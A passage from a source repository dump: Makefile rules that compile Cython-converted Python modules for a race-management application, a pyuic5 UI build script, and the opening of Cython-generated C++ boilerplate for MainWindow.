tables/T_Pays.cc $(CC) -o obj/tables/T_Pays.o -c tables/T_Pays.cc $(CFLAGS) tables/T_Ville.cc: ../tables/T_Ville.py $(CP) $(CPFLAGS) -o tables/T_Ville.cc ../tables/T_Ville.py obj/tables/T_Ville.o: tables/T_Ville.cc $(CC) -o obj/tables/T_Ville.o -c tables/T_Ville.cc $(CFLAGS) db.cc: ../db.py $(CP) $(CPFLAGS) -o db.cc ../db.py obj/db.o: db.cc $(CC) -o obj/db.o -c db.cc $(CFLAGS) decoder_task.cc: ../decoder_task.py $(CP) $(CPFLAGS) -o decoder_task.cc ../decoder_task.py obj/decoder_task.o: decoder_task.cc $(CC) -o obj/decoder_task.o -c decoder_task.cc $(CFLAGS) Globals.cc: ../Globals.py $(CP) $(CPFLAGS) -o Globals.cc ../Globals.py obj/Globals.o: Globals.cc $(CC) -o obj/Globals.o -c Globals.cc $(CFLAGS) manage.cc: ../manage.py $(CP) $(CPFLAGS) -o manage.cc ../manage.py obj/manage.o: manage.cc $(CC) -o obj/manage.o -c manage.cc $(CFLAGS) manageRace.cc: ../manageRace.py $(CP) $(CPFLAGS) -o manageRace.cc ../manageRace.py obj/manageRace.o: manageRace.cc $(CC) -o obj/manageRace.o -c manageRace.cc $(CFLAGS) Preferences.cc: ../Preferences.py $(CP) $(CPFLAGS) -o Preferences.cc ../Preferences.py obj/Preferences.o: Preferences.cc $(CC) -o obj/Preferences.o -c Preferences.cc $(CFLAGS) #../raceTask.py receive.cc: ../receive.py $(CP) $(CPFLAGS) -o receive.cc ../receive.py obj/receive.o: receive.cc $(CC) -o obj/receive.o -c receive.cc $(CFLAGS) <file_sep>/build_ui.sh pyuic5 defGui/MainWindow.ui -o gui/Ui_MainWindow.py pyuic5 defGui/Set_RacerTp.ui -o gui/Ui_Set_RacerTp.py pyuic5 defGui/set_RaceLen.ui -o gui/Ui_set_RaceLen.py <file_sep>/cython/gui/MainWindow.cc /* Generated by Cython 0.25.2 */ #define PY_SSIZE_T_CLEAN #include "Python.h" #ifndef Py_PYTHON_H #error Python headers needed to compile C extensions, please install development version of Python. #elif PY_VERSION_HEX < 0x02060000 || (0x03000000 <= PY_VERSION_HEX && PY_VERSION_HEX < 0x03020000) #error Cython requires Python 2.6+ or Python 3.2+. #else #define CYTHON_ABI "0_25_2" #include <stddef.h> #ifndef offsetof #define offsetof(type, member) ( (size_t) & ((type*)0) -> member ) #endif #if !defined(WIN32) && !defined(MS_WINDOWS) #ifndef __stdcall #define __stdcall #endif #ifndef __cdecl #define __cdecl #endif #ifndef __fastcall #define __fastcall #endif #endif #ifndef DL_IMPORT #define DL_IMPORT(t) t #endif #ifndef DL_EXPORT #define DL_EXPORT(t) t #endif #ifndef HAVE_LONG_LONG #if PY_VERSION_HEX >= 0x03030000 || (PY_MAJOR_VERSION == 2 && PY_VERSION_HEX >= 0x02070000) #define HAVE_LONG_LONG #endif #endif #ifndef PY_LONG_LONG #define PY_LONG_LONG LONG_LONG #endif #ifndef Py_HUGE_VAL #define Py_HUGE_VAL HUGE_VAL #endif #ifdef PYPY_VERSION #define CYTHON_COMPILING_IN_PYPY 1 #define CYTHON_COMPILING_IN_PYSTON 0 #define CYTHON_COMPILING_IN_CPYTHON 0 #undef CYTHON_USE_TYPE_SLOTS #define CYTHON_USE_TYPE_SLOTS 0 #undef CYTHON_USE_ASYNC_SLOTS #define CYTHON_USE_ASYNC_SLOTS 0 #undef CYTHON_USE_PYLIST_INTERNALS #define CYTHON_USE_PYLIST_INTERNALS 0 #undef CYTHON_USE_UNICODE_INTERNALS #define CYTHON_USE_UNICODE_INTERNALS 0 #undef CYTHON_USE_UNICODE_WRITER #define CYTHON_USE_UNICODE_WRITER 0 #undef CYTHON_USE_PYLONG_INTERNALS #define CYTHON_USE_PYLONG_INTERNALS 0 #undef CYTHON_AVOID_BORROWED_REFS #define CYTHON_AVOID_BORROWED_REFS 1 #undef CYTHON_ASSUME_SAFE_MACROS #define CYTHON_ASSUME_SAFE_MACROS 0 #undef CYTHON_UNPACK_METHODS #define CYTHON_UNPACK_METHODS 0 #undef CYTHON_FAST_THREAD_STATE #define CYTHON_FAST_THREAD_STATE 0 #undef CYTHON_FAST_PYCALL #define CYTHON_FAST_PYCALL 0 #elif defined(PYSTON_VERSION) #define CYTHON_COMPILING_IN_PYPY 0 #define CYTHON_COMPILING_IN_PYSTON 1 #define CYTHON_COMPILING_IN_CPYTHON 0 #ifndef CYTHON_USE_TYPE_SLOTS #define CYTHON_USE_TYPE_SLOTS 1 #endif #undef CYTHON_USE_ASYNC_SLOTS #define CYTHON_USE_ASYNC_SLOTS 0 #undef CYTHON_USE_PYLIST_INTERNALS #define CYTHON_USE_PYLIST_INTERNALS 0 #ifndef CYTHON_USE_UNICODE_INTERNALS #define CYTHON_USE_UNICODE_INTERNALS 1 #endif #undef CYTHON_USE_UNICODE_WRITER #define CYTHON_USE_UNICODE_WRITER 0 #undef CYTHON_USE_PYLONG_INTERNALS #define CYTHON_USE_PYLONG_INTERNALS 0 #ifndef CYTHON_AVOID_BORROWED_REFS #define CYTHON_AVOID_BORROWED_REFS 0 #endif #ifndef CYTHON_ASSUME_SAFE_MACROS #define CYTHON_ASSUME_SAFE_MACROS 1 #endif #ifndef CYTHON_UNPACK_METHODS #define CYTHON_UNPACK_METHODS 1 #endif #undef CYTHON_FAST_THREAD_STATE #define CYTHON_FAST_THREAD_STATE 0 #undef CYTHON_FAST_PYCALL #define CYTHON_FAST_PYCALL 0 #else #define CYTHON_COMPILING_IN_PYPY 0 #define CYTHON_COMPILING_IN_PYSTON 0 #define CYTHON_COMPILING_IN_CPYTHON 1 #ifndef CYTHON_USE_TYPE_SLOTS #define CYTHON_USE_TYPE_SLOTS 1 #endif #if PY_MAJOR_VERSION < 3 #undef CYTHON_USE_ASYNC_SLOTS #define CYTHON_USE_ASYNC_SLOTS 0 #elif !defined(CYTHON_USE_ASYNC_SLOTS) #define CYTHON_USE_ASYNC_SLOTS 1 #endif #if PY_VERSION_HEX < 0x02070000 #undef CYTHON_USE_PYLONG_INTERNALS #define CYTHON_USE_PYLONG_INTERNALS 0 #elif !defined(CYTHON_USE_PYLONG_INTERNALS) #define CYTHON_USE_PYLONG_INTERNALS 1 #endif #ifndef CYTHON_USE_PYLIST_INTERNALS #define CYTHON_USE_PYLIST_INTERNALS 1 #endif #ifndef CYTHON_USE_UNICODE_INTERNALS #define CYTHON_USE_UNICODE_INTERNALS 1 #endif #if PY_VERSION_HEX < 0x030300F0 #undef CYTHON_USE_UNICODE_WRITER #define CYTHON_USE_UNICODE_WRITER 0 #elif !defined(CYTHON_USE_UNICODE_WRITER) #define CYTHON_USE_UNICODE_WRITER 1 #endif #ifndef CYTHON_AVOID_BORROWED_REFS #define CYTHON_AVOID_BORROWED_REFS 0 #endif #ifndef CYTHON_ASSUME_SAFE_MACROS #define CYTHON_ASSUME_SAFE_MACROS 1 #endif #ifndef CYTHON_UNPACK_METHODS #define CYTHON_UNPACK_METHODS 1 #endif #ifndef CYTHON_FAST_THREAD_STATE #define CYTHON_FAST_THREAD_STATE 1 #endif #ifndef CYTHON_FAST_PYCALL #define CYTHON_FAST_PYCALL 1 #endif #endif #if !defined(CYTHON_FAST_PYCCALL) #define CYTHON_FAST_PYCCALL (CYTHON_FAST_PYCALL && PY_VERSION_HEX >= 0x030600B1) #endif #if CYTHON_USE_PYLONG_INTERNALS #include "longintrepr.h" #undef SHIFT #undef BASE #undef MASK #endif #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX < 0x02070600 && !defined(Py_OptimizeFlag) #define Py_OptimizeFlag 0 #endif #define __PYX_BUILD_PY_SSIZE_T "n" #define CYTHON_FORMAT_SSIZE_T "z" #if PY_MAJOR_VERSION < 3 #define __Pyx_BUILTIN_MODULE_NAME "__builtin__" #define __Pyx_PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ PyCode_New(a+k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) #define __Pyx_DefaultClassType PyClass_Type #else #define __Pyx_BUILTIN_MODULE_NAME "builtins" #define __Pyx_PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) #define __Pyx_DefaultClassType PyType_Type #endif #ifndef Py_TPFLAGS_CHECKTYPES #define Py_TPFLAGS_CHECKTYPES 0 #endif #ifndef Py_TPFLAGS_HAVE_INDEX #define Py_TPFLAGS_HAVE_INDEX 0 #endif #ifndef Py_TPFLAGS_HAVE_NEWBUFFER #define Py_TPFLAGS_HAVE_NEWBUFFER 0 #endif #ifndef Py_TPFLAGS_HAVE_FINALIZE #define Py_TPFLAGS_HAVE_FINALIZE 0 #endif #ifndef METH_FASTCALL #define METH_FASTCALL 0x80 typedef PyObject *(*__Pyx_PyCFunctionFast) (PyObject *self, PyObject **args, Py_ssize_t nargs, PyObject *kwnames); #else #define __Pyx_PyCFunctionFast _PyCFunctionFast #endif #if CYTHON_FAST_PYCCALL #define __Pyx_PyFastCFunction_Check(func)\ ((PyCFunction_Check(func) && (METH_FASTCALL == (PyCFunction_GET_FLAGS(func) & ~(METH_CLASS | METH_STATIC | METH_COEXIST))))) #else #define __Pyx_PyFastCFunction_Check(func) 0 #endif #if PY_VERSION_HEX > 0x03030000 && defined(PyUnicode_KIND) #define CYTHON_PEP393_ENABLED 1 #define __Pyx_PyUnicode_READY(op) (likely(PyUnicode_IS_READY(op)) ?\ 0 : _PyUnicode_Ready((PyObject *)(op))) #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_LENGTH(u) #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_READ_CHAR(u, i) #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) PyUnicode_MAX_CHAR_VALUE(u) #define __Pyx_PyUnicode_KIND(u) PyUnicode_KIND(u) #define __Pyx_PyUnicode_DATA(u) PyUnicode_DATA(u) #define __Pyx_PyUnicode_READ(k, d, i) PyUnicode_READ(k, d, i) #define __Pyx_PyUnicode_WRITE(k, d, i, ch) PyUnicode_WRITE(k, d, i, ch) #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : PyUnicode_GET_SIZE(u))) #else #define CYTHON_PEP393_ENABLED 0 #define PyUnicode_1BYTE_KIND 1 #define PyUnicode_2BYTE_KIND 2 #define PyUnicode_4BYTE_KIND 4 #define __Pyx_PyUnicode_READY(op) (0) #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_SIZE(u) #define __Pyx_PyUnicode_READ_CHAR(u, i) ((Py_UCS4)(PyUnicode_AS_UNICODE(u)[i])) #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((sizeof(Py_UNICODE) == 2) ? 65535 : 1114111) #define __Pyx_PyUnicode_KIND(u) (sizeof(Py_UNICODE)) #define __Pyx_PyUnicode_DATA(u) ((void*)PyUnicode_AS_UNICODE(u)) #define __Pyx_PyUnicode_READ(k, d, i) ((void)(k), (Py_UCS4)(((Py_UNICODE*)d)[i])) #define __Pyx_PyUnicode_WRITE(k, d, i, ch) (((void)(k)), ((Py_UNICODE*)d)[i] = ch) #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_SIZE(u)) #endif #if CYTHON_COMPILING_IN_PYPY #define __Pyx_PyUnicode_Concat(a, b) PyNumber_Add(a, b) #define __Pyx_PyUnicode_ConcatSafe(a, b) PyNumber_Add(a, b) #else #define __Pyx_PyUnicode_Concat(a, b) PyUnicode_Concat(a, b) #define __Pyx_PyUnicode_ConcatSafe(a, b) ((unlikely((a) == Py_None) || unlikely((b) == Py_None)) ?\ PyNumber_Add(a, b) : __Pyx_PyUnicode_Concat(a, b)) #endif #if CYTHON_COMPILING_IN_PYPY && !defined(PyUnicode_Contains) #define PyUnicode_Contains(u, s) PySequence_Contains(u, s) #endif #if CYTHON_COMPILING_IN_PYPY && !defined(PyByteArray_Check) #define PyByteArray_Check(obj) PyObject_TypeCheck(obj, &PyByteArray_Type) #endif #if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Format) #define PyObject_Format(obj, fmt) PyObject_CallMethod(obj, "__format__", "O", fmt) #endif #if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Malloc) #define PyObject_Malloc(s) PyMem_Malloc(s) #define PyObject_Free(p) PyMem_Free(p) #define PyObject_Realloc(p) PyMem_Realloc(p) #endif #if CYTHON_COMPILING_IN_PYSTON #define __Pyx_PyCode_HasFreeVars(co) PyCode_HasFreeVars(co) #define __Pyx_PyFrame_SetLineNumber(frame, lineno) PyFrame_SetLineNumber(frame, lineno) #else #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0) #define __Pyx_PyFrame_SetLineNumber(frame, lineno) (frame)->f_lineno = (lineno) #endif #define __Pyx_PyString_FormatSafe(a, b) ((unlikely((a) == Py_None)) ? PyNumber_Remainder(a, b) : __Pyx_PyString_Format(a, b)) #define __Pyx_PyUnicode_FormatSafe(a, b) ((unlikely((a) == Py_None)) ? PyNumber_Remainder(a, b) : PyUnicode_Format(a, b)) #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyString_Format(a, b) PyUnicode_Format(a, b) #else #define __Pyx_PyString_Format(a, b) PyString_Format(a, b) #endif #if PY_MAJOR_VERSION < 3 && !defined(PyObject_ASCII) #define PyObject_ASCII(o) PyObject_Repr(o) #endif #if PY_MAJOR_VERSION >= 3 #define PyBaseString_Type PyUnicode_Type #define PyStringObject PyUnicodeObject #define PyString_Type PyUnicode_Type #define PyString_Check PyUnicode_Check #define PyString_CheckExact PyUnicode_CheckExact #endif #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyBaseString_Check(obj) PyUnicode_Check(obj) #define __Pyx_PyBaseString_CheckExact(obj) PyUnicode_CheckExact(obj) #else #define __Pyx_PyBaseString_Check(obj) (PyString_Check(obj) || PyUnicode_Check(obj)) #define __Pyx_PyBaseString_CheckExact(obj) (PyString_CheckExact(obj) || PyUnicode_CheckExact(obj)) #endif #ifndef PySet_CheckExact #define PySet_CheckExact(obj) (Py_TYPE(obj) == &PySet_Type) #endif #define __Pyx_TypeCheck(obj, type) PyObject_TypeCheck(obj, (PyTypeObject *)type) #define __Pyx_PyException_Check(obj) __Pyx_TypeCheck(obj, PyExc_Exception) #if PY_MAJOR_VERSION >= 3 #define PyIntObject PyLongObject #define PyInt_Type PyLong_Type #define PyInt_Check(op) PyLong_Check(op) #define PyInt_CheckExact(op) PyLong_CheckExact(op) #define PyInt_FromString PyLong_FromString #define PyInt_FromUnicode PyLong_FromUnicode #define PyInt_FromLong PyLong_FromLong #define PyInt_FromSize_t PyLong_FromSize_t #define PyInt_FromSsize_t PyLong_FromSsize_t #define PyInt_AsLong PyLong_AsLong #define PyInt_AS_LONG PyLong_AS_LONG #define PyInt_AsSsize_t PyLong_AsSsize_t #define PyInt_AsUnsignedLongMask PyLong_AsUnsignedLongMask #define PyInt_AsUnsignedLongLongMask PyLong_AsUnsignedLongLongMask #define PyNumber_Int PyNumber_Long #endif #if PY_MAJOR_VERSION >= 3 #define PyBoolObject PyLongObject #endif #if PY_MAJOR_VERSION >= 3 && CYTHON_COMPILING_IN_PYPY #ifndef PyUnicode_InternFromString #define PyUnicode_InternFromString(s) PyUnicode_FromString(s) #endif #endif #if PY_VERSION_HEX < 0x030200A4 typedef long Py_hash_t; #define __Pyx_PyInt_FromHash_t PyInt_FromLong #define __Pyx_PyInt_AsHash_t PyInt_AsLong #else #define __Pyx_PyInt_FromHash_t PyInt_FromSsize_t #define __Pyx_PyInt_AsHash_t PyInt_AsSsize_t #endif #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyMethod_New(func, self, klass) ((self) ? PyMethod_New(func, self) : PyInstanceMethod_New(func)) #else #define __Pyx_PyMethod_New(func, self, klass) PyMethod_New(func, self, klass) #endif #if CYTHON_USE_ASYNC_SLOTS #if PY_VERSION_HEX >= 0x030500B1 #define __Pyx_PyAsyncMethodsStruct PyAsyncMethods #define __Pyx_PyType_AsAsync(obj) (Py_TYPE(obj)->tp_as_async) #else typedef struct { unaryfunc am_await; unaryfunc am_aiter; unaryfunc am_anext; } __Pyx_PyAsyncMethodsStruct; #define __Pyx_PyType_AsAsync(obj) ((__Pyx_PyAsyncMethodsStruct*) (Py_TYPE(obj)->tp_reserved)) #endif #else #define __Pyx_PyType_AsAsync(obj) NULL #endif #ifndef CYTHON_RESTRICT #if defined(__GNUC__) #define CYTHON_RESTRICT __restrict__ #elif defined(_MSC_VER) && _MSC_VER >= 1400 #define CYTHON_RESTRICT __restrict #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L #define CYTHON_RESTRICT restrict #else #define CYTHON_RESTRICT #endif #endif #ifndef CYTHON_UNUSED # if defined(__GNUC__) # if !(defined(__cplusplus)) || (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4)) # define CYTHON_UNUSED __attribute__ ((__unused__)) # else # define CYTHON_UNUSED # endif # elif defined(__ICC) || (defined(__INTEL_COMPILER) && !defined(_MSC_VER)) # define CYTHON_UNUSED __attribute__ ((__unused__)) # else # define CYTHON_UNUSED # endif #endif #ifndef CYTHON_MAYBE_UNUSED_VAR # if defined(__cplusplus) template<class T> void CYTHON_MAYBE_UNUSED_VAR( const T& ) { } # else # define CYTHON_MAYBE_UNUSED_VAR(x) (void)(x) # endif #endif #ifndef CYTHON_NCP_UNUSED # if CYTHON_COMPILING_IN_CPYTHON # define CYTHON_NCP_UNUSED # else # define CYTHON_NCP_UNUSED CYTHON_UNUSED # endif #endif #define __Pyx_void_to_None(void_result) ((void)(void_result), Py_INCREF(Py_None), Py_None) #ifndef __cplusplus #error "Cython files generated with the C++ option must be compiled with a C++ compiler." #endif #ifndef CYTHON_INLINE #if defined(__clang__) #define CYTHON_INLINE __inline__ __attribute__ ((__unused__)) #else #define CYTHON_INLINE inline #endif #endif template<typename T> void __Pyx_call_destructor(T& x) { x.~T(); } template<typename T> class __Pyx_FakeReference { public: __Pyx_FakeReference() : ptr(NULL) { } __Pyx_FakeReference(const T& ref) : ptr(const_cast<T*>(&ref)) { } T *operator->() { return ptr; } T *operator&() { return ptr; } operator T&() { return *ptr; } template<typename U> bool operator ==(U other) { return *ptr == other; } template<typename U> bool operator !=(U other) { return *ptr != other; } private: T *ptr; }; #if defined(WIN32) || defined(MS_WINDOWS) #define _USE_MATH_DEFINES #endif #include <math.h> #ifdef NAN #define __PYX_NAN() ((float) NAN) #else static CYTHON_INLINE float __PYX_NAN() { float value; memset(&value, 0xFF, sizeof(value)); return value; } #endif #if defined(__CYGWIN__) && defined(_LDBL_EQ_DBL) #define __Pyx_truncl trunc #else #define __Pyx_truncl truncl #endif #define __PYX_ERR(f_index, lineno, Ln_error) \ { \ __pyx_filename = __pyx_f[f_index]; __pyx_lineno = lineno; __pyx_clineno = __LINE__; goto Ln_error; \ } #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyNumber_Divide(x,y) PyNumber_TrueDivide(x,y) #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceTrueDivide(x,y) #else #define __Pyx_PyNumber_Divide(x,y) PyNumber_TrueDivide(x,y) #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceTrueDivide(x,y) #endif #ifndef __PYX_EXTERN_C #ifdef __cplusplus #define __PYX_EXTERN_C extern "C" #else #define __PYX_EXTERN_C extern #endif #endif #define __PYX_HAVE__MainWindow #define __PYX_HAVE_API__MainWindow #ifdef _OPENMP #include <omp.h> #endif /* _OPENMP */ #ifdef PYREX_WITHOUT_ASSERTIONS #define CYTHON_WITHOUT_ASSERTIONS #endif typedef struct {PyObject **p; const char *s; const Py_ssize_t n; const char* encoding; const char is_unicode; const char is_str; const char intern; } __Pyx_StringTabEntry; #define __PYX_DEFAULT_STRING_ENCODING_IS_ASCII 0 #define __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT 0 #define __PYX_DEFAULT_STRING_ENCODING "" #define __Pyx_PyObject_FromString __Pyx_PyBytes_FromString #define __Pyx_PyObject_FromStringAndSize __Pyx_PyBytes_FromStringAndSize #define __Pyx_uchar_cast(c) ((unsigned char)c) #define __Pyx_long_cast(x) ((long)x) #define __Pyx_fits_Py_ssize_t(v, type, is_signed) (\ (sizeof(type) < sizeof(Py_ssize_t)) ||\ (sizeof(type) > sizeof(Py_ssize_t) &&\ likely(v < (type)PY_SSIZE_T_MAX ||\ v == (type)PY_SSIZE_T_MAX) &&\ (!is_signed || likely(v > (type)PY_SSIZE_T_MIN ||\ v == (type)PY_SSIZE_T_MIN))) ||\ (sizeof(type) == sizeof(Py_ssize_t) &&\ (is_signed || likely(v < (type)PY_SSIZE_T_MAX ||\ v == (type)PY_SSIZE_T_MAX))) ) #if defined (__cplusplus) && __cplusplus >= 201103L #include <cstdlib> #define __Pyx_sst_abs(value) std::abs(value) #elif SIZEOF_INT >= SIZEOF_SIZE_T #define __Pyx_sst_abs(value) abs(value) #elif SIZEOF_LONG >= SIZEOF_SIZE_T #define __Pyx_sst_abs(value) labs(value) #elif defined (_MSC_VER) && defined (_M_X64) #define __Pyx_sst_abs(value) _abs64(value) #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L #define __Pyx_sst_abs(value) llabs(value) #elif defined (__GNUC__) #define __Pyx_sst_abs(value) __builtin_llabs(value) #else #define __Pyx_sst_abs(value) ((value<0) ? -value : value) #endif static CYTHON_INLINE char* __Pyx_PyObject_AsString(PyObject*); static CYTHON_INLINE char* __Pyx_PyObject_AsStringAndSize(PyObject*, Py_ssize_t* length); #define __Pyx_PyByteArray_FromString(s) PyByteArray_FromStringAndSize((const char*)s, strlen((const char*)s)) #define __Pyx_PyByteArray_FromStringAndSize(s, l) PyByteArray_FromStringAndSize((const char*)s, l) #define __Pyx_PyBytes_FromString PyBytes_FromString #define __Pyx_PyBytes_FromStringAndSize PyBytes_FromStringAndSize static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char*); #if PY_MAJOR_VERSION < 3 #define __Pyx_PyStr_FromString __Pyx_PyBytes_FromString #define __Pyx_PyStr_FromStringAndSize __Pyx_PyBytes_FromStringAndSize #else #define __Pyx_PyStr_FromString __Pyx_PyUnicode_FromString #define __Pyx_PyStr_FromStringAndSize __Pyx_PyUnicode_FromStringAndSize #endif #define __Pyx_PyObject_AsSString(s) ((signed char*) __Pyx_PyObject_AsString(s)) #define __Pyx_PyObject_AsUString(s) ((unsigned char*) __Pyx_PyObject_AsString(s)) #define __Pyx_PyObject_FromCString(s) __Pyx_PyObject_FromString((const char*)s) #define __Pyx_PyBytes_FromCString(s) __Pyx_PyBytes_FromString((const char*)s) #define __Pyx_PyByteArray_FromCString(s) __Pyx_PyByteArray_FromString((const char*)s) #define __Pyx_PyStr_FromCString(s) __Pyx_PyStr_FromString((const char*)s) #define __Pyx_PyUnicode_FromCString(s) __Pyx_PyUnicode_FromString((const char*)s) #if PY_MAJOR_VERSION < 3 static CYTHON_INLINE size_t __Pyx_Py_UNICODE_strlen(const Py_UNICODE *u) { const Py_UNICODE *u_end = u; while (*u_end++) ; return (size_t)(u_end - u - 1); } #else #define __Pyx_Py_UNICODE_strlen Py_UNICODE_strlen #endif #define __Pyx_PyUnicode_FromUnicode(u) PyUnicode_FromUnicode(u, __Pyx_Py_UNICODE_strlen(u)) #define __Pyx_PyUnicode_FromUnicodeAndLength PyUnicode_FromUnicode #define __Pyx_PyUnicode_AsUnicode PyUnicode_AsUnicode #define __Pyx_NewRef(obj) (Py_INCREF(obj), obj) #define __Pyx_Owned_Py_None(b) __Pyx_NewRef(Py_None) #define __Pyx_PyBool_FromLong(b) ((b) ? __Pyx_NewRef(Py_True) : __Pyx_NewRef(Py_False)) static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject*); static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x); static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject*); static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t); #if CYTHON_ASSUME_SAFE_MACROS #define __pyx_PyFloat_AsDouble(x) (PyFloat_CheckExact(x) ? PyFloat_AS_DOUBLE(x) : PyFloat_AsDouble(x)) #else #define __pyx_PyFloat_AsDouble(x) PyFloat_AsDouble(x) #endif #define __pyx_PyFloat_AsFloat(x) ((float) __pyx_PyFloat_AsDouble(x)) #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyNumber_Int(x) (PyLong_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Long(x)) #else #define __Pyx_PyNumber_Int(x) (PyInt_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Int(x)) #endif #define __Pyx_PyNumber_Float(x) (PyFloat_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Float(x)) #if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII static int __Pyx_sys_getdefaultencoding_not_ascii; static int __Pyx_init_sys_getdefaultencoding_params(void) { PyObject* sys; PyObject* default_encoding = NULL; PyObject* ascii_chars_u = NULL; PyObject* ascii_chars_b = NULL; const char* default_encoding_c; sys = PyImport_ImportModule("sys"); if (!sys) goto bad; default_encoding = PyObject_CallMethod(sys, (char*) "getdefaultencoding", NULL); Py_DECREF(sys); if (!default_encoding) goto bad; default_encoding_c = PyBytes_AsString(default_encoding); if (!default_encoding_c) goto bad; if (strcmp(default_encoding_c, "ascii") == 0) { __Pyx_sys_getdefaultencoding_not_ascii = 0; } else { char ascii_chars[128]; int c; for (c = 0; c < 128; c++) { ascii_chars[c] = c; } __Pyx_sys_getdefaultencoding_not_ascii = 1; ascii_chars_u = PyUnicode_DecodeASCII(ascii_chars, 128, NULL); if (!ascii_chars_u) goto bad; ascii_chars_b = PyUnicode_AsEncodedString(ascii_chars_u, default_encoding_c, NULL); if (!ascii_chars_b || !PyBytes_Check(ascii_chars_b) || memcmp(ascii_chars, PyBytes_AS_STRING(ascii_chars_b), 128) != 0) { PyErr_Format( PyExc_ValueError, "This module compiled with c_string_encoding=ascii, but default encoding '%.200s' is not a superset of ascii.", default_encoding_c); goto bad; } Py_DECREF(ascii_chars_u); Py_DECREF(ascii_chars_b); } Py_DECREF(default_encoding); return 0; bad: Py_XDECREF(default_encoding); Py_XDECREF(ascii_chars_u); Py_XDECREF(ascii_chars_b); return -1; } #endif #if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT && PY_MAJOR_VERSION >= 3 #define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_DecodeUTF8(c_str, size, NULL) #else #define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_Decode(c_str, size, __PYX_DEFAULT_STRING_ENCODING, NULL) #if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT static char* __PYX_DEFAULT_STRING_ENCODING; static int __Pyx_init_sys_getdefaultencoding_params(void) { PyObject* sys; PyObject* default_encoding = NULL; char* default_encoding_c; sys = PyImport_ImportModule("sys"); if (!sys) goto bad; default_encoding = PyObject_CallMethod(sys, (char*) (const char*) "getdefaultencoding", NULL); Py_DECREF(sys); if (!default_encoding) goto bad; default_encoding_c = PyBytes_AsString(default_encoding); if (!default_encoding_c) goto bad; __PYX_DEFAULT_STRING_ENCODING = (char*) malloc(strlen(default_encoding_c)); if (!__PYX_DEFAULT_STRING_ENCODING) goto bad; strcpy(__PYX_DEFAULT_STRING_ENCODING, default_encoding_c); Py_DECREF(default_encoding); return 0; bad: Py_XDECREF(default_encoding); return -1; } #endif #endif /* Test for GCC > 2.95 */ #if defined(__GNUC__) && (__GNUC__ > 2 || (__GNUC__ == 2 && (__GNUC_MINOR__ > 95))) #define likely(x) __builtin_expect(!!(x), 1) #define unlikely(x) __builtin_expect(!!(x), 0) #else /* !__GNUC__ or GCC < 2.95 */ #define likely(x) (x) #define unlikely(x) (x) #endif /* __GNUC__ */ static PyObject *__pyx_m; static PyObject *__pyx_d; static PyObject *__pyx_b; static PyObject *__pyx_empty_tuple; static PyObject *__pyx_empty_bytes; static PyObject *__pyx_empty_unicode; static int __pyx_lineno; static int __pyx_clineno = 0; static const char * __pyx_cfilenm= __FILE__; static const char *__pyx_filename; static const char *__pyx_f[] = { "MainWindow.py", }; /*--- Type declarations ---*/ /* --- Runtime support code (head) --- */ /* Refnanny.proto */ #ifndef CYTHON_REFNANNY #define CYTHON_REFNANNY 0 #endif #if CYTHON_REFNANNY typedef struct { void (*INCREF)(void*, PyObject*, int); void (*DECREF)(void*, PyObject*, int); void (*GOTREF)(void*, PyObject*, int); void (*GIVEREF)(void*, PyObject*, int); void* (*SetupContext)(const char*, int, const char*); void (*FinishContext)(void**); } __Pyx_RefNannyAPIStruct; static __Pyx_RefNannyAPIStruct *__Pyx_RefNanny = NULL; static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname); #define __Pyx_RefNannyDeclarations void *__pyx_refnanny = NULL; #ifdef WITH_THREAD #define __Pyx_RefNannySetupContext(name, acquire_gil)\ if (acquire_gil) {\ PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__);\ PyGILState_Release(__pyx_gilstate_save);\ } else {\ __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__);\ } #else #define __Pyx_RefNannySetupContext(name, acquire_gil)\ __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__) #endif #define 